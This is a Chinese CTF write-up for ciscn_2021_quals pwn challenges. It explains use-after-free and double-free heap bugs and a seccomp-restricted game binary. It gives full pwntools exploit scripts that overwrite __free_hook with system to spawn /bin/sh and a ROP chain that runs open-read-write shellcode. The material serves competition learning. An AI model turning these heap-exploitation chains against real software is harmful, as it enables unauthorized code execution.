0%

ciscn_2021_quals

第一次参加国赛,体验了一把全身心投入的 CTF 比赛。对我来说题目有难有易,质量都挺好的。(唯一的怨念是 game 这道题本地调通了,远程打不通。可恶的 libseccomp!)

lonelywolf

简述

常规堆菜单题。

漏洞为 UAF,可以修改已 free chunk 的内容,也可以 double free。

libc 为 2.27-3ubuntu1.3,应该是第一个添加了 tcache double free 检测的 ubuntu glibc。

功能齐全。但 add 时限制了 chunk size 小于等于 0x78,所以需要伪造一个 size 为 0x421 的 chunk,把它 free 进 unsortedbin 以泄漏 libc 地址。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *

libc = ELF("./libc-2.27.so_lonelywolf")
io = process("./lonelywolf")
#io = remote("124.71.239.218", 26130)

def add(size):
io.sendlineafter("Your choice: ", '1')
io.sendlineafter("Index: ", '0')
io.sendlineafter("Size: ", str(size))

def edit(content):
io.sendlineafter("Your choice: ", '2')
io.sendlineafter("Index: ", '0')
io.sendafter("Content: ", content)

def show():
io.sendlineafter("Your choice: ", '3')
io.sendlineafter("Index: ", '0')

def delete():
io.sendlineafter("Your choice: ", '4')
io.sendlineafter("Index: ", '0')

add(0x28)
delete()
edit("a" * 0x10 + '\n')
delete()
show()
io.recvuntil("Content: ")
heap_addr = u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00')) - 0x260
print("heap_addr = " + hex(heap_addr))

edit(p64(heap_addr + 0x58) + p64(0xdeadbeef) * 2 + p64(0x421) + b'\n')
for i in range(0xb - 1):
add(0x58)
add(0x48)
add(0x48)

add(0x28)
edit(p64(0xdeadbeef) + b'\n')
add(0x28)
edit(p64(heap_addr + 0x280) + b'\n')
add(0x28)

delete()
show()
io.recvuntil("Content: ")
libc.address = u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00')) - 0x3ebca0
print("libc.address = " + hex(libc.address))

add(0x18)
delete()
edit('a' * 0x10 + '\n')
delete()
edit(p64(libc.symbols["__free_hook"]) + b'\n')
add(0x18)
add(0x18)
edit(p64(libc.symbols["system"]) + b'\n')

add(0x18)
edit("/bin/sh" + '\n')
delete()

io.interactive()

pwny

漏洞:bss 上任意偏移读、写

利用:先把 fd = open(“/dev/urandom”,0) 覆盖为随机值,之后再 read 会失败,fd 就会被设为 0。然后就可以控制写的内容了。之后能泄漏 libc 地址、pie 地址。要控制执行流程,有几种选择(后面三条都是看别人的 writeup 才知道的):

  1. 修改 exit_hook。如果找不到对应版本 ld 的话就会比较麻烦,要爆破偏移。
  2. 修改 __malloc_hook,下次输入大于 0x400(大概)字节的字符串,scanf 内部就会调用 malloc。
  3. 修改 bss 上的 stdin,使其指向 fake 的 struct _IO_FILE_plus,其 vtable指针指向 fake 的 vtable,使 vtable 中 overflow 为 one_gadget
  4. 泄漏 libc 中 environ 指针的值后(指向栈上的环境变量),利用偏移计算处目前函数的 return 地址,覆盖为 one_gadget

channel

Arm64、libc-2.32、double free、house of botcake。比赛的时候没想到怎么利用 double free,乱搞了半天。事后回想起了 house of botcake。调试挺花时间的。

调试

用 pwndbg 调试 qemu-user 中的程序很麻烦,找不到 libc、heap 的基地址,也找不到函数,search 指令啥也搜不到。

当时我是通过 fd 找到 heap 基地址,还有跳转到 libc 中函数时寄存器中有该函数的地址,减去偏移就得到 libc 地址。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

libc = ELF("./libc-2.31.so_channel")
#io = process(["./qemu-aarch64-static", "./channel"])
io = process(["./qemu-aarch64-static", "-g", "7780", "./channel"])
#io = remote("124.71.239.218", 26123)

def register(key):
io.sendlineafter("> ", '1')
io.sendafter("key> \n", key)

def unregister(key):
io.sendlineafter("> ", '2')
io.sendafter("key> \n", key)

def Read(key):
io.sendlineafter("> ", '3')
io.sendafter("key> \n", key)

def Write(key, length, content):
io.sendlineafter("> ", '4')
io.sendafter("key> \n", key)
io.sendafter("len> ", str(length))
io.sendafter("content> ", content)

for i in range(0, 10):
register(str(i + 1) * 3)

# 利用残余fd泄漏heap地址
unregister("222")
Write("111", 0x118, b'A' * 0x10 * 16)
gdb.attach(io)
Read("111")
io.recvuntil(b'A' * 0x10 * 16)
heap_addr = (u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00')) - 0x6b0) | 0x4000000000
print("heap_addr = " + hex(heap_addr))

# 填满tcache
for i in range(2, 9):
unregister(str(i + 1) * 3)
# free prev chunk,被放入unsortedbin
unregister('A' * 0x10 * 16)
# free victim,victim和prev合并为big
unregister("111")

# 切割big,利用残留bk泄漏libc地址
Write("101010", 0x18, b'B' * 0x8)
Read("101010")
io.recvuntil(b'B' * 8)
libc.address = (u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00')) | 0x4000000000) - 0x16dcf0
print("libc.address = " + hex(libc.address))

# free victim进tcache,切割big,覆盖victim的fd
Write("101010", 0x118, b"/bin/sh".ljust(0x100, b'\x00'))
unregister(p64(libc.address + 0x16dac0) * 2 + b'A' * (0x10 * 16 - 8 * 2))
Write("101010", 0x1d8, b'B' * (0x110 - 0x20 - 0x20 - 0x20) + p64(0xdeadbeef) + p64(0x121) + p64(libc.symbols["__free_hook"]))

# 修改__free_hook,system("/bin/sh")
Write("101010", 0x118, p64(0xdeadbeef))
Write("101010", 0x118, p64(libc.symbols["system"]))
unregister("/bin/sh")

io.interactive()

game

没做出来。有一些我没接触过的点。

保护

全开。seccomp 设置只允许 orw 和 mprotect。

prctl

开始时我先用 gdb 调试,总是失败。pwndbg 显示如下:

─────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────
Invalid address 0x7ffff7e90e9e

逐步调试后发现调用 prctl(4, 0) ,执行 syscall 时就会发生上面的错误。

在 /usr/include/linux/prctl.h 头文件中可以找到宏定义:

1
2
3
/* Get/set current->mm->dumpable */
#define PR_GET_DUMPABLE 3
#define PR_SET_DUMPABLE 4

看看 man page:

PR_SET_DUMPABLE (since Linux 2.3.20)

Processes that are not dumpable can not be attached via ptrace(2) PTRACE_ATTACH; see ptrace(2) for further details.

这应该算一种反调试手段(我还记得 liveoverflow 的视频里有提到另一种简单的反调试方法:尝试随机改变可执行文件中的一个字节,直到不能用 gdb 调试但能直接运行)。直接 patch 掉就好了。

命令解析

和传统的菜单题不同,该程序会解析用户输入的一串命令来设置参数,然后执行对应的函数。

命令的格式是这样的:”l:8\nw:8\nop:1\n\r\n”,参数(变量)和值用冒号分开,参数之间用 ‘\n’ 分开,末尾必须以 “\r\n” 结束。

主要功能

程序可以在堆上创建一个长宽自定的二维数组 world,world 中可以添加 player。

添加 player 需要提供 id,id 会保存在 world 中,其 x,y 坐标由 rand 提供,但没有先调用 srand,所以 x,y 坐标是可预测的。

而 player 则以头插法添加,用单链表连接起来。

还支持 player 的 delete 和 show、以及输入的 id 所对应的 player 的四个方向移动。

漏洞

player 移动时没有边界检测,导致其一字节的 id 可以跑出 world 对应的 chunk。

local 利用

libseccomp 和堆风水

接下来的利用方法只能在本地使用。原因如下:前面提到的 seccomp 是通过调用 libseccomp.so.2 中 seccomp_initseccomp_rule_addseccomp_load 实现的,这些函数会调用 malloc 和 free,把堆搞得乱七八糟。而我的利用方法用到了 libseccomp 搞乱的 tcache 中残留的 fd 以泄漏 heap 地址,这样做十分依赖堆风水。

比赛时打远程失败了,算出的 heap 基址没有页对齐,因此我怀疑远程的 libseccomp.so.2 和附件中的不一样。。。改利用方法来不急了,做得挺心塞的。

有一种手段是在开始利用前尽量把 bin 中的 chunk 分配完。但这题的 world chunk 分配后就不能再释放了,对于我的利用方法来说,这意味着必须要多尝试几个 world chunk 的 size,赌 world chunk 不会分配到 bin 中的 chunk 上。

事实上,比赛时用上面的手段算出的远程 heap 基地址页对齐了,但我的利用方法太依赖堆风水了,改起来头昏,最后放弃了。

这次吃亏在利用方法的“顶层设计(。。。)”上了,之后想想有没有什么方法不那么依赖堆风水。

另一种稳定堆风水的手段(5 月 17 日)

看了 fmyy 师傅的 exp 总结出的。他的 exp 泄漏的 heap 基址同样没有页对齐,但只需要减一个偏移。

我们假设远程的堆风水和本地的差别不大

通过 malloc 一个 large size 的 chunk,触发 malloc_consolidate,fastbin 中的 chunk 会被放入 smallbin 和 unsortedbin 中。

之后尽量申请 large size 的 chunk,这样 malloc size 较小时会去分割 smallbin 和 unsortedbin,或者直接分配 tcache;而 malloc size 较大时会去分割 topchunk。

利用时就利用大小和内容可控的 large size 的 chunk。

Tips:可以分两次分割一个 largechunk,利用残留 fd 分别泄漏 libc 地址和 heap 地址

利用方法

将一个 player 的 id 设为 fake chunk size(比如 0x61),然后移动,覆盖下一个(与 world chunk)临近的 chunk 的 size,free 再 add 后形成 overlap,之后再修改 fd。然后在堆上布置 rop 链,修改 __free_hook 为 setcontext 中的 gadget,最后 ROP 就行了。

exp_local

基本不可读,而且只调通了本地。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
# 因为过于依赖堆风水,所以只调通了本地
from pwn import *

context.os = "linux"
context.arch = "amd64"
libc = ELF("./libc-2.27.so_game")
io = process("./game")
#io = remote("124.71.239.218", 26162)

payload1 = "l:8\nw:8\nop:1\n\r\n"
io.sendafter("cmd> ", payload1)

payload2 = "id:22\ns:10\nop:2\n\r\n"
io.sendafter("cmd> ", payload2)
io.sendafter("desc> ", '\x10')

payload3 = "id:97\ns:248\nop:2\n\r\n"
io.sendafter("cmd> ", payload3)
io.sendafter("desc> ", p64(0xdeadbeef) * 4 + p64(0) + p64(0x21))

payload_gap = "id:140\ns:1408\nop:2\n\r\n"
io.sendafter("cmd> ", payload_gap)
io.sendafter("desc> ", p64(0xdeadbeef))

payload_gap_2 = "id:141\ns:1408\nop:2\n\r\n"
io.sendafter("cmd> ", payload_gap_2)
io.sendafter("desc> ", p64(0xdeadbeef))

payload4 = "op:4\n\r\n"
io.sendafter("cmd> ", payload4)
io.recvuntil("22: (7,6) ")
heap_addr = u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00')) - 0x2110
print("heap_addr = " + hex(heap_addr))

payload_delete_big = "id:140\nop:3\n\r\n"
io.sendafter("cmd> ", payload_delete_big)

payload_add_big = "id:142\ns:1408\nop:2\n\r\n"
io.sendafter("cmd> ", payload_add_big)
io.sendafter("desc> ", '\x20')

payload_libc = "op:4\n\r\n"
io.sendafter("cmd> ", payload_libc)
io.recvuntil("142: (1,5) ")
libc.address = u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00')) - 0x3ebc20
print("libc.address = " + hex(libc.address))

payload5 = "id:97\nop:6\n\r\n"
io.sendafter("cmd> ", payload5)
io.sendafter("cmd> ", payload5)
io.sendafter("cmd> ", payload5)
io.sendafter("cmd> ", payload5)
io.sendafter("cmd> ", payload5)
io.sendafter("cmd> ", payload5)
payload6 = "id:97\nop:7\n\r\n"
io.sendafter("cmd> ", payload6)

payload7 = "id:22\nop:3\n\r\n"
io.sendafter("cmd> ", payload7)
payload8 = "id:97\nop:3\n\r\n"
io.sendafter("cmd> ", payload8)

payload_9 = "id:50\ns:88\nop:2\n\r\n"
io.sendafter("cmd> ", payload_9)
io.sendafter("desc> ", b'A' * 0x20 + p64(0xdeadbeef) + p64(0x101) + p64(libc.symbols["__free_hook"]))

payload_10 = "id:51\ns:248\nop:2\n\r\n"
io.sendafter("cmd> ", payload_10)
io.sendafter("desc> ", p64(0xdeadbeef))

payload_11 = "id:52\ns:248\nop:2\n\r\n"
io.sendafter("cmd> ", payload_11)
io.sendafter("desc> ", p64(libc.address + 0x52145))

payload_12 = "id:52\ns:2056\nop:2\n\r\n"
io.sendafter("cmd> ", payload_12)

rop_base = heap_addr + 0x2e90
p_rdi = libc.address + 0x2155f
p_rsi = libc.address + 0x23e8a
p_rdx = libc.address + 0x1b96
shellcode = asm('''
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall

cmp eax, 0
js failed

mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall

mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall

jmp exit

failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall

exit:
xor edi, edi
mov eax, 231
syscall
''')
rop_payload = (p64(p_rdi) * 2 + p64(heap_addr) + p64(p_rsi) + p64(21000) + p64(p_rdx) + p64(7) + p64(libc.symbols["mprotect"]) + p64(heap_addr + 0x2f40)).ljust(0xa0, b'\x00') + p64(rop_base) + p64(p_rdi) + shellcode
io.sendafter("desc> ", rop_payload)

payload_delete_hh = "id:52\nop:3\n\r\n"
io.sendafter("cmd> ", payload_delete_hh)

io.interactive()